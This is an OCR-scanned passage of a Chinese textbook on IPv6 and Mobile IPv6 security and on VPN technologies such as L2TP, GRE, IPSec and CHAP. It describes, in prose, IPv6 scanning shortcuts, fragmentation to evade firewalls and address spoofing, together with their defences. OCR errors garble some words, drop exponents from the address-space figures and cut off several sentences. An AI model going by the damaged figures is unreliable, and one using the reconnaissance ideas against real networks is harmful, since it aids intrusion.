@ 网 络 层 以 上 的 安全 问题 。 主 要 是 各 种 应 用 层 的 攻击 ,其 原理 和 特征 无 任何 
变化 。 

@ 与 网 络 层 数据 保密 性 和 完整 性 相关 的 安全 问题 。 主 要 是 窃听 攻击 和 中 间 人 攻击 。 
由 于 IPSec 还 没有 解决 大 规模 密 钥 分 配 和 管理 的 难点 ,缺乏 广泛 的 部 署 ,因此 ,在 IPv6 网 
络 中 ,仍然 存在 窃听 和 中 间 人 攻击 。 

@ 与 网 络 层 可 用 性 相关 安全 问题 。 主 要 是 指 洪 泛 攻击 ,如 TCP SYN flooding 攻击 。 

(2) 原理 和 特征 发 生 明显 变化 的 安全 问题 ,主要 包括 4 个 方面 。 

(O 侦 测 。 是 一 种 基本 攻击 方式 ,也 是 其 他 网 络 攻 击 方式 的 初始 步骤 。 黑 客 为 攻击 得 
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手 , 需 要 获得 被 攻击 网 络 地 址 、 服 务 、 应 用 等 尽 可 能 多 的 情报 。IPv4 协议 下 子 网 地 址 空间 
只 有 2,IPv6 的 默认 子 网 地 址 空间 为 2* ,如 天 文 数字 。 但 黑客 可 运用 一 些 攻击 策略 , 精 
简 并 加 快 子 网 扫描 ,如 利用 DNS 发 现 主 机 地 址 ;猜测 管理 员 常 用 的 简单 地 址 ; 由 于 站 点 
地 址 常用 网 卡 地 址 ,以 厂商 的 网 卡 地 址 范围 缩小 扫描 空间 ;攻破 DNS 或 路 由 器 , 读 取 其 缓存 
信息 ;以 及 利用 新 组 播 地 址 ,如 所 有 路 由 器 (FF05::2) 及 DHCP 服务 器 (FF05::1: 3)。 

@ 非 授 权 访问 。IPv6 下 的 访问 控制 同 IPv4 下 情形 类 似 , 依 赖 防 火 墙 或 路 由 器 访问 
控制 表 (ACL) 等 控制 策略 ,由 地 址 、 端 口 等 信息 实施 控制 。 对 地 址 转换 型 防火 墙 ,外 网 的 
终端 看 不 到 被 保护 主机 的 IP 地 址 ,使 防火 墙 内 部 机 器 免 受 攻击 ,但 是 地 址 转换 技术 
(NAT) 和 IPSec 功能 不 匹配 ,所 以 在 IPv6 下 ,很 难 穿越 地 址 转换 型 防火 墙 以 IPSec 进行 
通信 。 对 包 过 滤 型 防火 墙 , 若 使 用 IPSec 的 ESP, 由 于 3 层 以 上 的 信息 不 可 见 ,更 难 进 行 
控制 。 由 于 互联 网 控制 信息 协议 ICMPv6 对 IPv6 至 关 重 要 ,如 最 大 传输 单元 (Maximum 
Transmission Unit, MTU) 发 现 、 自 动 配置 .重复 地 址 检测 等 ,需要 对 ICMP 消息 谨慎 
控制 。 

@ 自 改 分 组 头 部 和 分 段 信息 。 在 IPv4 网 络 中 的 设备 和 端 系统 都 可 对 分 组 进行 分 
片 , 分 片 攻击 通常 用 于 两 种 情形 : 一 是 利用 分 片 逃 避 网 络 监控 设备 ,如 防火 墙 和 IDS; 二 
是 直接 利用 网 络 设备 中 协议 栈 实 现 的 漏洞 ,以 错误 的 分 片 分 组 头 部 信息 直接 对 网 络 设备 
发 动 攻击 。IPv6 网 络 中 的 中 间 设 备 不 再 分 片 , 由 于 多 个 IPv6 扩展 头 的 存在 ,防火 墙 很 难 
计算 有 效 数 据 报 的 最 小 尺寸 ,此 时 还 可 能 传输 层 协议 报头 不 在 第 一 个 分 片 分 组 内 ,从 而 
使 网 络 监 控 设 备 若 不 对 分 片 进行 重组 ,将 无 法 实施 基于 端口 信息 的 访问 控制 策略 。 

@ 伪造 源 地 址 。 在 IPv4 网 络 中 , 源 地 址 伪造 的 攻击 很 多 ,如 SYN Flooding. UDP 
Flood Smurf 等 攻击 。 对 此 防范 主要 有 两 类 方法 : 一 是 基于 事前 预防 的 过 滤 类 方法 ,如 
准 入 过 滤 等 ;二 是 基于 事后 追查 的 回溯 类 方法 ,如 ICMP 回溯 和 分 组 标记 等 。 这 些 方案 
都 存在 部 署 困难 等 缺陷 ,由 于 存在 网 络 地 址 转换 (NAT ) ,使 攻击 后 追踪 更 困难 。 在 IPv6 网 
络 中 ,由 于 地 址 汇聚 ,过 滤 类 方法 实现 更 简单 且 负载 更 小 ;并 且 由 于 转换 网 络 地 址 少 ,因此 更 
容易 追踪 。 从 IPv4 向 IPv6 过 渡 ,防止 伪造 源 地 址 的 分 组 穿越 隧道 成 为 一 个 重要 课题 。 


3. IPv6 的 安全 机 制 


1) 协议 安全 

如 上 所 述 ,在 协议 安全 层面 ,IPv6 全 面 支持 认证 头 (AH) 认 证 和 封装 安全 有 效 载 荷 
(ESP) 扩 展 头 。 支 持 数据 源 发 认证 、 完 整 性 和 抗 重 放 攻 击 等 。 

2) 网 络 安全 

IPv6 对 于 网 络 安全 实现 ,主要 体现 在 4 个 方面 : 

(1) 实现 端 到 端 安全 。 在 两 端 主机 上 对 报 文 进行 IPSec 封装 ,中 间 路 由 器 实现 对 有 
IPSec 扩展 头 的 IPv6 报 文 进行 封装 传输 ,从 而 实现 端 到 端的 安全 。 

(2) 提供 内 网 安全 。 当 内 部 主机 与 Internet 上 其 他 主机 通信 时 ,可 通过 配置 IPSec 
网 关 实 现 内 网 安全 。 由 于 IPSec 作为 IPv6 的 扩展 报头 不 能 被 中 间 路 由 器 解析 ,而 只 能 被 
目的 结 点 解析 处 理 , 因 此 ,可 利用 IPSec 隧道 方式 实现 IPSec 网 关 , 也 可 通过 IPv6 扩展 头 
中 提供 的 路 由 头 和 逐 跳 选 项 头 结合 应 用 层 网 关 技术 实现 。 后 者 实现 方式 更 灵活 ,有 利于 
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提供 完善 的 内 网 安全 ,但 较为 复杂 。 

(3) 由 安全 隧道 构建 安全 VPN。 通 过 IPv6 的 IPSec 隧道 实现 的 VPN ,可 在 路 由 器 
之 间 建 立 IPSec 安全 隧道 ,是 最 常用 的 安全 组 建 VPN 的 方式 。IPSec 网 关 路 由 器 实际 上 
是 IPSec 隧道 的 终点 和 起 点 ,为 了 满足 转发 性 能 ,需要 路 由 器 专用 加 密 加 速 板 卡 。 

(4) 以 隧道 符 套 实现 网 络 安全 。 通 过 隧道 内 套 的 方式 可 获得 多 重 安全 保护 , 当 配 置 
IPSec 的 主机 通过 安全 隧道 接 入 配置 IPSec 网 关 的 路 由 器 , 且 该 路 由 器 作为 外 部 隧道 的 
终结 点 将 外 部 隧道 封装 剥 除 时 ,内 套 的 内 部 安全 隧道 便 构成 对 内 网 的 安全 隔离 。 

3) 其 他 安全 保障 

网 络 的 安全 威胁 是 多 层面 且 分 布 于 各 层 之 间 的 。 对 物理 层 的 安全 隐患 ,可 通过 配置 元 
余 设备 ,元 余 线 路 ,安全 供电 保障 电磁 兼容 环境 和 加 强 安全 管理 进行 防护 。 对 于 其 以 上 层 
面 的 安全 隐患 ,可 采取 的 防范 措施 包括 : 以 身份 认证 和 安全 访问 控制 协议 对 用 户 访问 权限 
进行 控制 ;通过 MAC 地 址 和 IP 地 址 绑 定 、 限 制 各 端口 的 MAC 地 址 使 用 量 、 设 立 各 端口 | 
播 包 流量 门限 ,利用 基于 端口 和 VLAN 的 ACL 建立 安全 用 户 隧 道 等 来 防范 针对 第 二 层 网 
络 的 攻击 ;通过 路 由 过 滤 、 对 路 由 信息 加 密 和 认证 ,定向 组 播 控 制 . 提 高 路 由 收敛 速度 ,减轻 
振荡 的 影响 等 措施 来 加 强 第 三 层 网 络 安全 性 ;路 由 器 和 交换 机 对 IPSec 的 支持 可 保证 网 络 
数据 和 信息 内 容 的 有 效 性 一 致 性 及 完整 性 ,并 为 网 络 安全 提供 更 多 解决 办 法 。 


4. 移动 IPv6 的 安全 性 


移动 IPv6 是 IPv6 的 一 个 重要 组 成 部 分 ,移动 性 是 其 最 大 的 特点 。 引 入 的 移动 IP 协 
议 给 网 络 带 来 新 的 安全 隐患 ,需要 其 特殊 的 安全 措施 。 

1) 移动 IPv6 的 特性 

从 IPv4 到 IPv6 使 移动 IP 技术 发 生 了 根本 性 变化 ,IPv6 的 许多 新 特性 也 为 结 点 移 
动 性 提供 了 更 好 支持 ,如 “无 状态 地 址 自动 配置 "和 “邻居 发 现 ” 等 。 而 且 ,IPv6 组 网 技术 
极 大 地 简化 了 网 络 重组 ,可 更 有 效 地 促进 因特网 的 移动 性 。 

移动 IPv6 的 高 层 协议 辨识 作为 移动 结 点 唯一 标识 的 归属 地 址 。 当 移动 结 点 (Move 
Node,MN) 移 动 到 外 网 获得 一 个 转交 地 址 (Care-of Address,CoA) 时 ,CoA 和 归属 地 址 
的 映射 关系 称 为 一 个 “ 绑 定 ”。MN 通过 绑 定 注册 过 程 将 CoA 通知 给 位 于 归属 网 络 的 归 
属 代 理 (Home Agent,HA)。 之 后 ,对 端 通信 结 点 (Correspondent Node, CN) Z fÉ MN 
的 数据 包 首 先 被 路 由 到 HA, 然 后 HA 根据 MN 的 绑 定 关 系 , 将 数据 包 封装 后 发 送 给 
MN。 为 了 优化 迁 回 路 由 的 转发 效率 ,移动 IPv6 也 允许 MN 直接 将 绑 定 消息 发 送 到 对 端 
CN ,实现 MN 和 对 端 通信 主机 的 直接 通信 ,而 无 须 经 过 HA 的 转发 。 

2) 移动 IPv6 面临 的 安全 威胁 

移动 IPv6 基本 工作 流程 只 针对 理想 状态 的 互联 网 ,并 未 考虑 现实 网 络 的 安全 问 
题 。 而 且 , 移 动 性 的 引入 也 会 带 来 新 的 安全 威胁 ,如 对 报 文 的 窃听 、 算 改 和 拒绝 服务 攻 
击 等 。 因 此 ,在 移动 IPv6 的 具体 实施 中 须 并 慎 处 理 这 些 安全 威胁 ,以 免 降 低 网 络 安全 
级 别 。 

移动 IP 主要 用 于 无 线 网 络 ,不仅 要 面 对 无 线 网 络 所 有 的 安全 威胁 ,还 要 处 理由 移动 
性 带 来 的 新 安全 问题 ,所 以 ,移动 IP 相对 有 线 网 络 更 脆弱 和 复杂 。 另 外 ,移动 IPv6 协议 
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通过 定义 移动 结 点 ,HA 和 通信 结 点 之 间 的 信 令 机 制 , 较 好 地 解决 了 移动 IPv4 的 三 角 路 
由 问题 ,但 在 优化 同时 也 出 现 了 新 的 安全 问题 。 目 前 ,移动 IPv6 受到 的 主要 威胁 包括 拒 
绝 服务 攻击 . 重 放 攻击 和 信息 窃取 等 。 

呈 OO 知识 拓展 ”移动 IPv6 除了 上 述 主要 安全 问题 之 外 ,还 可 能 受到 其 他 威胁 攻击 ,如 
攻击 者 可 冒充 CN 给 MN 发 送 绑 定 错误 消息 ,从 而 导致 MN 通过 隧道 经 由 HA 向 CN 三 
角 路 由 发 送 报 文 ,造成 路 由 迁 回 , 导 致 网 络 带 宽 浪 费 与 时 延 增加 。 当 归属 网 络 重 编号 时 ， 
HA 可 通过 设置 归属 网 络 前 缓 的 生存 时 间 实 现 位 于 外 网 的 MN 归属 地 址 的 更 新 。 通 常 ， 
MN 应 选择 生存 时 间 最 长 的 IPv6 前 缓 形 成 自己 的 归属 地 址 。 如 果 恶 意 主机 修改 归属 网 
络 IPv6 前 组 的 生存 时 间或 修改 前 组 内 容 , 则 可 引起 HA 服务 的 所 有 MN 无 法 到 达 ,或 使 
MN 到 HA 的 流量 被 窃取 ,或 引发 拒绝 服务 攻击 。 


5. 移动 IPv6 的 安全 机 制 


移动 IPv6 协议 针对 上 述 安 全 威胁 ,在 注册 消息 中 通过 添加 序列 号 以 防范 重 放 攻 击 ， 
并 在 协议 报 文中 引入 时 间 随 机 数 。 对 HA 和 通信 结 点 可 比较 前 后 两 个 注册 消息 序列 号 ， 
并 结合 随机 数 的 散 列 值 , 判 定 注 册 消息 是 否 为 重 放 攻 击 。 若 消息 序列 号 不 匹配 或 随机 数 
散 列 值 不 正确 , 则 可 作为 过 期 注册 消息 ,不 予 处 理 。 

对 其 他 形式 的 攻击 ,可 利用 (移动 结 点 ,通信 结 点 ) 和 (移动 结 点 ,归属 代理 ) 之 间 的 信 
令 消 息 传递 进行 有 效 防范 。 移 动 结 点 和 归属 代理 之 间 可 通过 建立 IPSec 安全 联盟 ,以 保 
护 信 令 消 息 和 业务 流量 。 由 于 移动 结 点 归属 地 址 和 归属 代理 为 已 知 ,所 以 可 以 预先 为 移 
动 结 点 和 归属 代理 配置 安全 联盟 ,并 使 用 IPSec AH 和 ESP 建立 安全 隧道 ,提供 数据 源 
认证 、 完 整 性 检查 .数据 加 密 和 重 放 攻击 防护 。 

[知识 拓展 ”由 于 移动 结 点 的 转交 地 址 是 随 其 网 络 接 入 不 断 变化 的 , 且 与 其 通信 的 
结 点 也 在 变化 ,无 法 预先 配置 建立 二 者 之 间 的 安全 联盟 ,而 且 在 全 球 互 联网 范围 内 很 难 
实现 公开 密 钥 安全 体系 (PKJI) ,不 同 认证 管理 域 也 很 难 建立 信任 关系 ,无 法 通过 公共 密 
钥 加 密 机 制 保护 移动 结 点 与 通信 结 点 之 间 的 信 令 消息 。 因 此 ,移动 IPv6 协议 定义 了 往 
返 可 路 由 过 程 ,通过 产生 绑 定 管理 密 钥 实现 对 移动 结 点 和 通信 结 点 之 间 控 制 信 令 的 
保护 。 

加 讨论 思考 

(1) 从 互联 网 发 展 角度 看 ,网 络 安全 问题 的 主要 原因 是 什么 ? 

(2) IPv6 在 安全 性 方面 具有 哪些 优势 ? 


22 虚拟 专用 网 络 技术 


221 VPN 技 术 概 述 


虚拟 专用 网 络 (Virtual Private Network, VPN. ,简称 虚拟 专 网 ) 是 利用 Internet 等 公 
共 网 络 的 基础 设施 ,通过 隧道 技术 ,为 用 户 提供 的 与 专用 网 络 具 有 相同 通信 功能 的 安全 
数据 通道 。 其 中 ,“ 虚 拟 ” 是 指 用 户 不 需要 建立 自己 专用 的 物理 线路 ,而 是 利用 Internet 
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等 公共 网 络 资源 和 设备 建立 一 条 逻辑 上 的 专用 数据 通道 ,并 实现 与 专用 数据 通道 相同 的 
通信 功能 .“ 专 用 网 络 ?是 指 虚拟 的 专门 逻辑 连接 的 网 络 并 非 连 接 在 公共 网 络 上 的 用 户 
都 能 使 用 ,只 有 经 过 授权 的 用 户 才 可 使 用 。 该 通道 内 传输 的 数据 经 过 加 密 和 认证 ,可 保 
证 传输 内 容 的 完整 性 和 机 密 性 。IETF 草案 对 基于 IP 网 络 的 VPN 的 定义 为 : 利用 IP 机 
制 模拟 的 一 个 专用 广域网 。 

VPN 可 通过 特殊 加 密 通 信 协 议 为 Internet 上 异地 企业 内 网 之 间 建 立 一 条 专用 通信 
线路 ,而 无 须 铺设 光缆 等 物理 线路 。VPN 系统 结构 如 图 2-5 所 示 。 


VPN 连 接 


逻辑 等 价 


2-5 VPN 系统 结构 


222 VEN 的 技术 特点 


VPN 技术 具有 以 下 几 个 特点 : 

(1) 安全 性 高 。VPN 使 用 通信 协议 、 身 份 验 证 和 数据 加 密 三 方面 技术 保证 了 通信 的 
安全 性 。 当 客户 机 向 VPN 服务 器 发 出 请 求 时 ,该 服务 器 响应 请 求 并 向 客户 机 发 出 身份 
质询 ,然后 客户 机 将 加 密 的 响应 信息 发 送 到 VPN 服务 端 ,该 服务 器 根据 数据 库 检 查 该 响 
应 。 如 果 账 户 有 效 ,VPN 服务 器 将 检查 该 用 户 是 否 具 有 远程 访问 的 权限 ,如 果 该 用 户 拥 
有 远程 访问 的 权限 ,该 服务 器 接受 此 连接 。 在 身份 验证 过 程 中 产生 的 客户 机 和 服务 器 的 
公有 密 钥 将 用 于 对 数据 进行 加 密 。 

(2) 费用 低廉 。 远 程 用 户 可 以 利用 VPN 通过 Internet 访问 公司 局 域 网 ,而 费用 仅 是 
传统 网 络 访问 方式 的 一 部 分 而且, 企业 可 以 节省 购买 和 维护 通信 设备 的 费用 。 

(3) 管理 便利 。 构 建 VPN 只 需 很 少 的 网 络 设备 及 物理 线路 ,而 且 网 络 管理 变 得 简 
单方 便 。 不 论 分 公司 还 是 远程 访问 用 户 ,都 只 需要 通过 一 个 公用 网 络 端口 或 Internet 
路 径 即 可 进入 企业 网 络 。 关 键 是 获得 所 需 的 带宽 ,网 络 管理 的 主要 工作 将 由 公用 网 
承担 。 

(4) 灵活 性 强 。 可 支持 通过 Intranet 和 Extranet 的 任何 类 型 数据 流 ,支持 多 种 类 型 
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的 传输 媒介 ,可 以 同时 满足 传输 语音 、 图 像 和 数据 等 的 需求 。 

(5) 服务 质量 高 。 可 为 企业 提供 不 同等 级 的 服务 质量 (QoS) 保 证 。 不 同 用 户 和 业务 
对 服务 质量 保证 的 要 求 差别 较 大 ,如 对 移动 用 户 ,提供 广泛 连接 和 覆盖 性 是 保证 VPN JE 
务 的 一 个 主要 因素 。 对 于 拥有 众多 分 支 机 构 的 专线 VPN ,交互 式 内 部 企业 网 应 用 则 要 求 
网 络 能 提供 良好 的 稳定 性 。 而 视频 等 其 他 应 用 则 对 网 络 提出 了 更 明确 的 要 求 ,如 网 络 时 
延 及 误 码 率 等 ,这 些 网 络 应 用 均 要 求 根据 需要 提供 不 同等 级 的 服务 质量 。 

知识 拓展 在 网 络 优化 方面 ,构建 VPN 可 充分 有 效 地 利用 有 限 的 广域网 资源 ,为 
重要 数据 提供 可 靠 带宽 。 广 域 网 流量 的 不 确定 性 使 其 带宽 的 利用 率 很 低 ,在 流量 高 峰 时 
产生 网 络 瓶颈 和 阻塞 ,实时 性 要 求 高 的 数据 得 不 到 及 时 发 送 ;而 在 流量 低谷 时 又 造成 大 
量 的 网 络 带宽 空闲 。QoS 通过 流量 预测 与 控制 策略 ,可 按 优先 级 分 配 带宽 资源 ,实现 带 
宽 管理 ,使 各 类 数据 更 合理 地 发 送 以 防 阻 塞 。 


223 ”VEN 实 现 技术 概述 


VPN 是 在 Internet 等 公共 网 络 基 础 上 ,综合 利用 隧道 技术 、 加 解密 技术 、 密 钥 管 理 技 
术 和 身份 认证 技术 实现 的 。 


1. 隧道 技术 


隧道 技术 是 VPN 的 核心 技术 ,为 一 种 隐 式 传输 数据 的 方法 。 主 要 利用 已 有 的 
Internet 等 公共 网 络 数据 通信 方式 ,在 隧道 (虚拟 通道 ) 一 端 将 数据 进行 封装 ,然后 通过 
已 建立 的 隧道 进行 传输 。 在 隧道 另 一 端 进行 解 封装 并 将 还 原 的 原始 数据 交 给 端 设 备 。 
在 VPN 连接 中 ,可 根据 需要 创建 不 同类 型 的 VPN 隧道 ,包括 自愿 隧道 和 强制 隧道 
两 种 。 

网 络 隧道 协议 可 以 建立 在 网 络 体系 结构 的 第 二 层 或 第 三 层 。 第 二 层 隧 道 协 议 用 于 
传输 本 层 网 络 协议 ,主要 应 用 于 构建 远程 访问 虚拟 专 网 (Access VPN) ;第 三 层 隧 道 协议 
用 于 传输 本 层 网 络 协议 ,主要 应 用 于 构建 企业 内 部 虚拟 专 网 (Intranet VPN) 和 扩展 的 企 
业 虚 拟 专 网 (Extranet VPN ) 。 

第 二 层 隧 道 协议 先 将 各 种 网 络 协议 封装 在 点 对 点 协议 (PPP) 中 ,再 将 整个 数据 包装 
和 隧道 协议 。 这 种 双 层 封装 方法 形成 的 数据 包 靠 第 二 层 协议 传输 。 第 二 层 隧 道 协议 主 
要 有 3 种 : 点 对 点 隧道 协议 (Point to Point Tunneling Protocol,PPTP) .二 层 转发 协议 
(Layer 2 Forwarding, L2F) 和 二 层 隧 道 协 议 (Layer 2 Tunneling Protocol, L2TP ) 。 
L2TP 协议 是 目前 IETF 的 标准 ,由 IETF 融合 PPTP 与 L2F 而 形成 。 

1) L2TP 的 组 成 

L2TP 主要 由 L2TP 接 和 人 集中 器 (L2TP Access Concentrator,LAC) 和 L2TP 网 络 服 
务 器 (LNS) 构 成 。LAC 是 附属 在 交换 网 络 上 的 具有 PPP 端 系统 和 L2TP 协议 处 理 能 力 
的 设备 ,一 般 为 一 个 网 络 接 人 服务 器 (NAS) 。 可 为 用 户 通过 PSTN/ISDN 提供 网 络 接 入 
服务 。LNS 是 PPP 端 系统 上 用 于 处 理 L2TP 协议 服务 器 端 部 分 的 软件 。 在 LNS 和 
LAC 对 之 间 存 在 着 两 种 类 型 的 连接 ,一 是 隧道 连接 ,定义 一 个 LNS 和 LAC 对 ;二 是 会 话 
连接 , 复 用 在 隧道 连接 上 ,用 于 表示 承载 在 隧道 连接 中 的 每 个 PPP 会 话 过 程 。 
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2) L2TP 的 特点 

(1) 可 靠 性 强 。L2TP 协议 可 支持 备份 LNS, 当 一 个 主 LNS 不 可 达 后 , 接 人 服务 器 
重新 与 备份 LNS 建立 连接 ,可 增加 VPN 服务 的 可 靠 性 和 容错 性 。 

(2) 安全 性 高 。L2TP 可 选择 CHAP K PAP 等 多 种 身份 验证 机 制 ,继承 PPP 的 所 
有 安全 特性 ,L2TP 还 可 对 隧道 端点 进行 验证 ,使 通过 它 所 传输 的 数据 更 加 安全 。 根 据 特 
定 的 网 络 安全 要 求 还 可 方便 地 在 其 上 采用 隧道 加 密 、 端 对 端 数据 加 密 或 应 用 层 数据 加 密 
等 方案 来 提高 安全 性 。 

(3) 支持 内 部 地 址 分 配 。LNS 可 部 署 在 企业 网 的 防火 墙 后 ,可 对 远 端 用 户 地 址 动态 
分 配 和 管理 ,支持 DHCP 和 私有 地 址 应 用 等 。 远 端 用 户 所 分 配 的 地 址 并 非 Internet 地 
址 ,而 是 企业 内 部 私有 地 址 ,可 方便 地 址 的 管理 并 增强 安全 性 。 

(4) 统一 网 络 管理 。L2TP 协议 可 统一 采用 SNMP 网 络 管理 ,便于 网 络 维护 与 管理 。 

(5) 网 络 计 费 灵 活 。 可 在 LAC 和 LNS 两 处 同时 计 费 , 即 ISP 处 (产生 账单 ) 及 企业 
处 (付费 及 审计 )。L2TP 可 提供 数据 传输 的 出 入 包 数 、 字 节 数 及 连接 的 起 始 、 结 束 时 间 等 
计 费 数据 ,便于 网 络 计 费 。 

第 三 层 隧道 技术 在 网 络 层 进行 数据 封装 , 即 利 用 网 络 层 的 隧道 协议 将 数据 进行 封 
装 , 封 装 后 的 数据 再 通过 网 络 层 协议 传输 。 第 三 层 隧 道 协议 包括 (Generic Routing 
Encapsulation,GRE) 协 议和 IP 层 加 密 标 准 协议 (Internet Protocol Security,IPSec) 。 

CIR GRE 是 通用 的 路 由 封装 协议 ,支持 全 部 的 路 由 协议 ,用 于 在 IP 包 中 封 
装 任何 协议 的 数据 包 , 如 IP、IPX、NetBEUI、AppleTalk、Banyan VINES.DECnet 等 。 在 
GRE 的 处 理 中 ,忽略 了 很 多 协议 的 细微 差异 ,使 得 GRE 成 为 一 种 通用 的 封装 形式 。 路 
由 器 接收 到 一 个 需要 封装 和 路 由 的 原始 数据 包 ( 如 IP 包 ), 先 在 这 个 数据 包 的 外 面 增加 
一 个 GRE 头 部 构成 GRE 报 文 ,再 为 GRE 报 文 增加 一 个 IP 头 ,从 而 构成 最 终 的 IP 包 。 

IPSec 利用 系统 提供 安全 协议 选择 和 安全 算法 ,确定 服务 所 用 密 钥 等 ,为 IP 层 提供 
安全 。IPSec 并 非 一 个 单独 协议 ,可 提供 应 用 IP 层 上 网 络 数据 安全 的 一 整套 体系 结构 ， 
包括 认证 头 (AH) 协 议 `ESP 协议 、 密 钥 管 理 协议 IKE 和 网 络 验证 及 加 密 的 一 些 算 法 等 。 


2. 加 解密 技术 


为 了 保障 重要 数据 在 公共 网 络 传输 的 安全 ,VPN 采用 了 加 密 机 制 。 常 用 的 信息 加 
密 体 系 主 要 包括 非 对 称 加 密 体系 和 对 称 加 密 体 系 两 类 。 实 际 上 常 将 二 者 混合 使 用 ,利用 
非 对 称 加 密 技 术 进行 密 钥 协商 和 交换 ,利用 对 称 加 密 技术 进行 数据 加 密 。 

1) 对 称 密 钥 加 密 

对 称 密 钥 加 密 也 称 共享 密 钥 加 密 , 是 指 加 密 和 人 解密 以 相同 密 钥 完 成 ,数据 的 发 送 者 
和 接收 者 拥有 共同 的 密 钥 。 发 送 者 先 将 要 传输 的 数据 用 密 钥 加 密 为 密 文 ,然后 在 公共 信 
道上 传输 ,接收 者 收 到 密 文 后 用 相应 的 密 钥 解密 成 明文 。 由 于 加 密 和 解密 的 密 钥 相同 ， 
所 以 此 加 密 算法 安全 性 的 关键 在 于 密 钥 获 得 者 是 否 授 权 。 密 钥 一 旦 泄露 ,无 论 其 算法 与 
设计 如 何 , 密 文 仍 可 被 轻易 破解 。 此 加 密 方法 的 优点 是 运算 相对 简单 ,速度 快 ,适合 加 密 
大 量 数据 的 情况 。 缺 点 是 密 钥 的 管理 较为 复杂 。 

2) 非 对 称 密 钥 加 密 
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非 对 称 密 钥 加 密 是 指 加 密 和 解密 采用 不 同 的 密 钥 完 成 ,数据 的 发 送 者 和 接收 者 拥有 
不 同 的 两 个 密 钥 ,一 个 公 钥 ,一 个 私 钥 。 其 算法 也 称 公 钥 加 密 。 公 钥 可 以 在 通信 双方 之 
间 公开 传递 ,或 在 公共 网 络 上 发 布 , 但 相关 的 私 钥 必 须 保密 。 利 用 公 钥 加 密 的 数据 只 有 
使 用 私 钥 才 可 解密 ,而 私 钥 加 密 的 数据 只 有 使 用 公 钥 才 可 认证 。 

人 注意 : 非 对 称 算法 采用 复杂 的 算法 处 理 , 占 用 更 多 的 处 理 器 资源 ,运算 速度 较 慢 。 
非 对 称 算法 不 适合 加 密 大 量 数据 ,而 是 经 常用 于 对 关键 数据 的 加 密 , 如 对 称 密 钥 在 密 负 
分 发 时 采用 非 对 称 算法 。 非 对 称 加 密 算法 和 散 列 算法 结合 使 用 ,可 生成 数字 签名 。 

此 加 密 方法 的 优点 是 可 解决 对 称 加 密 中 密 钥 交 换 的 难点 , 密 钥 管理 简单 且 安全 性 
高 ;缺点 是 计算 速度 缓慢 。 因 此 ,更 多 用 于 密 钥 交换 、 数 字 签 名 .身份 认证 等 ,一 般 不 用 于 
对 具体 数据 的 加 密 。 通 常 在 VPN 实现 中 ,双方 间 大 量 通信 流量 的 加 密使 用 对 称 加 密 方 
法 ,而 在 管理 .分 发 对 称 加 密 密 钥 上 采用 更 安全 的 非 对 称 加 密 方法 。 


3. 密 钥 管理 技术 


密 钥 的 管理 极为 重要 。 密 钥 的 分 发 采用 手工 配置 和 利用 密 钥 交 换 协 议 动态 分 发 两 
种 方式 。 手 工 配置 要 求 密 钥 更 新 不 宜 频繁 ,否则 增加 大 量 管理 工作 量 , 所 以 , 它 只 适合 简 
单 网 络 。 软 件 方式 动态 生成 密 钥 可 用 于 密 钥 交 换 协 议 , 以 保证 密 钥 在 公共 网 络 上 安全 传 
输 ,适合 复杂 网 络 , 且 密 钥 可 快速 更 新 ,能 够 极 大 地 提高 VPN 应 用 安全 。 

[知识 拓展 ”主要 密 钥 交换 与 管理 标准 为 SKIP(Simple Key Management for IP,IP 
简单 密 钥 管理 ) 和 Internet 安全 联盟 及 密 钥 管理 协议 ISAKMP/Oakley(Internet Security 
Association and Key Management Protocol)。SKIP 由 SUN 公司 研发 ,主要 用 Diffie- 
Hellman 算法 通过 网 络 传输 密 钥 。 在 ISAKMP/Oakley 中 ,Oakley 定义 辨认 及 确认 密 
钥 ,ISAKMP 定义 分 配 密 钥 方法 。 


4. 身份 认证 技术 


在 VPN 实际 应 用 中 ,身份 认证 技术 包括 信息 认证 和 用 户 身 份 认 证 。 信 息 认 证 用 于 
保证 信息 的 完整 性 和 通信 双方 的 不 可 抵赖 性 ,用 户 身份 认证 用 于 鉴别 用 户 身份 真实 性 。 
VPN 采用 的 身份 认证 技术 主要 有 PKI 体系 和 非 PKI 体系 。PKI 体系 主要 用 于 信息 认 
证 ,通过 数字 证 书 认证 中 心 (Certificate Authority,CA) ,采用 数字 签名 和 哈 希 函数 保证 信 
息 的 可 靠 性 和 完整 性 。 如 SSL VPN 利用 PKI 支持 的 SSL 协议 实现 应 用 层 VPN 安全 通 
信 。 非 PKI 体系 主要 用 于 用 户 身份 认证 ,一 般 采用 “用 户 名 十 口令 ”的 模式 ,VPN 采用 的 
非 PKI 体系 认证 方式 主要 有 以 下 6 种 : 

(1) 密码 认证 协议 (Password Authentication Protocol,PAP)。 客 户 端 直接 发 送 含 
用 户 名 /口令 的 认证 请 求 , 服 务 器 端 处 理 并 回应 。 优 点 是 易于 实现 ,缺点 是 用 明文 传送 不 
安全 。 

(2) Shiva 密码 认证 协议 (Shiva Password Authentication Protocol, SPAP)。 是 由 
Shiva 公司 开发 的 受 Shiva 远程 访问 服务 器 支持 的 简单 加 密 密 码 身 份 验证 协议 。 其 安全 
性 比 PAP 好 ,缺点 是 单 向 加 密 , 单 向 认证 ,安全 性 较 差 ,经 过 加 密 的 密码 仍 可 能 被 破解 ， 
通过 认证 后 不 支持 Microsoft 点 对 点 加 密 (MPPE)。 
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(3) 询问 握手 认证 协议 (Challenge Handshake Authentication Protocol, CHAP), 
服务 器 端 先 给 客户 端 发 送 一 个 随机 码 challenge, 客 户 端 根 据 challenge, 对 自己 掌握 的 口 
令 challenge、 会 话 ID 调用 MD5 函数 进行 单 向 散 列 ,然后 将 此 结果 发 送 给 服务 器 端 。 服 
务 器 端 从 数据 库 中 取出 库存 口令 password2 ,并 作 同 样 处 理 。 最 后 比较 加 密 结 果 , 若 相 
同 , 则 认证 通过 。 该 方法 安全 性 比 SPAP 有 很 大 改进 ,不 用 将 密码 发 送 到 网 上 。 

(4) 微软 询问 握手 认证 协议 ( Microsoft Challenge Handshake Authentication 
Protocol, MS-CHAP)。 是 由 微软 公司 针对 Windows 系统 设计 的 ,利用 MPPE(Microsoft 
Point-to-Point Encryption, 微 软 点 对 点 加 密 ) 方 法 将 用 户 的 密码 和 数据 同时 加 密 后 再 

(5) 微软 询问 握手 认证 协议 第 2 版 (Microsoft Challenge Handshake Authentication 
Protocol v2,MS-CHAP v2)。 可 提供 双向 身份 验证 和 初始 数据 密 钥 ,发 送 和 接收 分 别 使 
用 不 同 的 密 钥 。 若 将 VPN 连接 配置 为 用 MS-CHAP v2 作为 唯一 的 身份 验证 方法 , 则 客 
